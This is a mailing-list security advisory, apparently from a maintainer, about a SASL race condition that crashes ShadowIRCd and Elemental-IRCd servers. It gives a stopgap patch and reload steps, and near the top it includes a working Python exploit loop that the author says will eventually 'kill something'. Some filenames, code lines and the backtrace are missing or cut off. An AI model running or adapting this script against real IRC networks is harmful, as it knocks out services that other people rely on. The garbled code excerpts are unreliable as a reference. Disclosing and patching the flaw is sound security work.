Mailing List Archive

Emergency patch for ShadowIRCd versions 6.3+ and Elemental-IRCd 6.5+

A vulnerability has been discovered in Elemental-IRCd/ShadowIRCd all the
way back to version 6.3. If a client does a SASL authentication before the
server is ready for it, a race condition will be met and the ircd will
segfault to an address out of bounds error. The attached exploit, is
pasted below:

# Live exploit for ShadowIRCd 6.3+, remote segfault that can
# take out other daemons in the network.

import base64
import socket

NICK = "Shi" # death
PASS = "ku" # suffering

while True:
s_link = socket.socket()

s_link.connect((SERVER, 6667))

s_link.send("CAP REQ :sasl\r\n")
s_link.send("AUTHENTICATE PLAIN\r\n")
s_link.send("AUTHENTICATE %s" %
(base64.b64encode("%s\0%s\0%s" % (NICK, NICK, PASS))))
s_link.send("CAP END")
s_link.send("NICK %s\r\n" % NICK)
s_link.send("USER a a a a a\r\n")

for line in s_link.makefile("r"):
print line

Earlier versions of this were called "" and its source (adapted from
the original code of the person who reported the bug to me) is available

Testing has shown that if the following patch is not applied, any
unregistered user may segfault off any ircd, including hub daemons or
sometimes an ircd on the other side of the network; provided they have a
valid account with services. This is a heisenbug and will resist attempts
to reproduce, but keep running it. It will kill something eventually.

The cause of this is an unmet race condition in modules/m_sasl.c. The SASL
authentication spec says that an authentication session must go like this
(taken from the documentation):

C: CAP REQ :sasl
C: NICK jilles
C: USER jilles 1 :Jilles Tjoelker
S: NOTICE AUTH :*** Processing connection to jaguar.test
S: NOTICE AUTH :*** Looking up your hostname...
S: NOTICE AUTH :*** Checking Ident
S: NOTICE AUTH :*** No Ident response
S: NOTICE AUTH :*** Found your hostname
S: :jaguar.test CAP jilles ACK :sasl
S: :jaguar.test 900 jilles jilles! jilles :You
are now logged in as jilles.
S: :jaguar.test 903 jilles :SASL authentication successful
S: :jaguar.test 001 jilles :Welcome to the jillestest Internet Relay
Chat Network jilles
(usual welcome messages)

However, if a user does this:

C: CAP REQ :sasl
S: :my.testnet NOTICE * :*** Looking up your hostname...
S: :my.testnet NOTICE * :*** Checking Ident
S: :my.testnet NOTICE * :*** Found your hostname
S: :my.testnet NOTICE * :*** No Ident response
S: :my.testnet CAP * ACK :sasl
S: :my.testnet 903 * :SASL authentication successful

The daemon immediately segfaults after that 903. A backtrace of the core
dump will look like the following:

The affected code in modules/m_sasl.c is as follows (spacing has been

static int server_auth_sasl(struct Client *client_p)
char *auth_user;

if (client_p->localClient->auth_user)
memset(client_p->localClient->auth_user, 0,
client_p->localClient->auth_user = NULL;

auth_user = rb_strndup(client_p->user->suser, PASSWDLEN);

/* pointless check here */
if (auth_user)
client_p->localClient->auth_user = rb_strndup(auth_user,

return 0;

When a client attempts to do a SASL authentication too quickly (like
demonstrated in, the ircd sometimes segfaults and can take out its
uplink too. This is because the `auth_user` field in
`client_p->localClient` gets set to uninitialized stack memory.

From linked file ``, line 10:

auth_user = 0x516c0d05e40 " \331\264(\306p"

This is definitely not the plain ASCII that it is expecting, nor at the
expected length. Luckily, this issue is completely in a module and it can
be applied with zero downtime if you apply this patch and follow the below

diff --git a/modules/m_sasl.c b/modules/m_sasl.c
index cbc5c77..fadddf7 100644
--- a/modules/m_sasl.c
+++ b/modules/m_sasl.c
@@ -162,7 +162,7 @@ me_sasl(struct Client *client_p, struct Client
sendto_one(target_p, form_str(RPL_SASLSUCCESS),, EmptyString(target_p->name) ? "*" : target_p->name);
target_p->preClient->sasl_complete = 1;
- server_auth_sasl(target_p);
+ //server_auth_sasl(target_p);
*target_p->preClient->sasl_agent = '\0'; /* Blank the
stored agent so someone else can answer */

This patch sometimes has issues when being applied by machine (use vim,
it's not hard) and should only be considered a stopgap to remove the worst
parts of the issue until a more permanent fix is made, tested, and released.

Attempts have been made to contact other networks that use any affected
versions of ShadowIRCd and Elemental-IRCd. All attempts to contact networks
I previously have not encountered have failed.

Patch directions are below:

1. Apply patch by hand
2. run make
3. run make install
4. Connect to the ircd, opering up
5. /modunload
6. /modload

You might be tempted to use /modreload, but *DO NOT*. There is a known
issue with reloading a module that has changed on disk that can cause a
segmentation fault. These directions should be followed *immediately* upon
recieving them to avoid opening yourself up to this exploit.

This bug appears to have been introduced with ShadowIRCd 6.3. Details from
the NEWS file below:

-- shadowircd-6.3.0
- use auth::auth_user for SASL. It is no longer usable in PASS (though
use-case there is non-existant), but you can now set so if a user

successfully authenticates to the accountname in auth_user with SASL,

they will get the proper auth block privs. You can have multiple
in one auth block.

This patch does disable this functionality, but in this case the
inconvenience is worth the security.

Thanks for reading, and I hope you enjoyed this report. I've been wanting
to make a report to this mailing list for a while now and was hoping it
would not be on one of my own projects, but such is life. Should I request
a CVE be assigned for this as well?

Sam Dodrill